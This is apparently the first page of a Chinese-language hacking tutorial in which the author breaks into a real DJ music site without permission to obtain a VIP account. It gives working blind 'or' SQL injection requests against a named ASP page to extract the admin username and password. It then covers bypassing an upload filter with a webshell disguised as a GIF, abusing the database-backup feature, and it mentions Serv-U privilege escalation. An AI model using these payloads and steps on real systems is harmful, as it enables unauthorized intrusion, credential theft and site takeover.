瞧我是怎樣輕輕松松入侵你DJ。入侵讓我回想起Gene6的提權,雖然虛擬主機的目錄權限早已設置得死死的,但興幸的是Documents這樣的目錄并沒有被設置,而且Serv-U默認只允許127.0.0.1(也就是本地,當然,你也可以把Serv-U設置成0.0.0.0這樣,也就是無限制連接)訪問43958端口,所以可以通過轉發來解決來這個問題。
or突破防注入
春節呆在家里上網,我表哥突然找我說要一個DJ網站的VIP會員,說搞定后請我吃KFC,于是就答應了。用IE打開目標網站,找到一個帶參數的ASP鏈接,如圖1
![]() |
圖1 |
提交AND 1=1,如圖2
![]() |
圖2 |
可能到了這里,有些讀者會選擇放棄。其實,如果一個網站的防注入不是過濾得很嚴的話,可以試試or注入。
向注入點提交or 1=1,發現跳到另外一個頁面了,如圖3
![]() |
圖3 |
然后or 1=2返回最原始的頁面了,如圖4
![]() |
圖4 |
由于or的特性,當查詢條件為真的時候,返回是異常的,當查詢條件為假的時候,返回是正常的。用如下語句:
/productsview2.asp?id=248 or exists(select * from admin) //判斷是否存在admin這個表,發現頁面返回
正常,也就是圖4,說明不存在admin這個表。
/productsview2.asp?id=248 or exists(select * from manage) //頁面返回異常了,也就是圖3,說明存在manage這個表。猜完表后就要猜解字段了。
/productsview2.asp?id=248 or exists(select username from manage) //返回異常頁面了,說明manage這個表中含有username這個字段,這時我們就可以猜數據了。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form. manage)<123 //判斷manage表中username字段的第一條數據的第一個字符的ascii值是否小于123,提交后發現返回異常頁面。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form. manage)>96 //提交后發現返回異常頁面,得到第一個字符的ascii值范圍在97-122之間,也就是在字母a-z之間,再慢慢縮小猜解的范圍直到猜解出來用牛族多功能ASCII轉換工具轉換一下就可以得到管理員用戶名的第一個字符了。需要猜解第二位的時候把上面語句改為mid(username,2,1),第三位mid(username,3,1)……如此類推。經過一番努力,得到username字段的第一條數據的ASCII值為97 100 109 105 110,轉換得出字符串為admin。猜解完用戶名還需要猜解密碼,先猜字符再猜數據。
html備份限制的突破
用明小子跑了下后臺,如圖5
![]() |
圖5 |
用注入得到的用戶密碼登陸后臺,逛了一圈之后發現有備份數據庫的地方,如圖6
![]() |
圖6 |
不過有HTML限制,這個可以突破的。
“查看”-“源文件”-“文件”-“另存為”,保存到本地。
接著用文本格式打開它,找到“
![]() |
圖7 |
原來是判斷文件頭,這時我們可以借助ASP圖片木馬生成器這款軟件,先把一張比較小的圖片(經過后來的測試發現除了判斷文件頭還判斷大?。┖鸵粋€asp一句話木馬放到這款軟件的目錄下,寫好名稱進行生成,如圖8
![]() |
圖8 |
就會在所在目錄生成一個“aspmuma.gif”圖片木馬,把它上傳上去,如圖9
![]() |
圖9 |
把返回的相對路徑按照上面的方法替換好,打開后如圖10
![]() |
圖10 |
寫好備份后的路徑進行備份,如圖11。
![]() |
圖11 |
共2頁: 1 [2] 下一頁 | ||||
|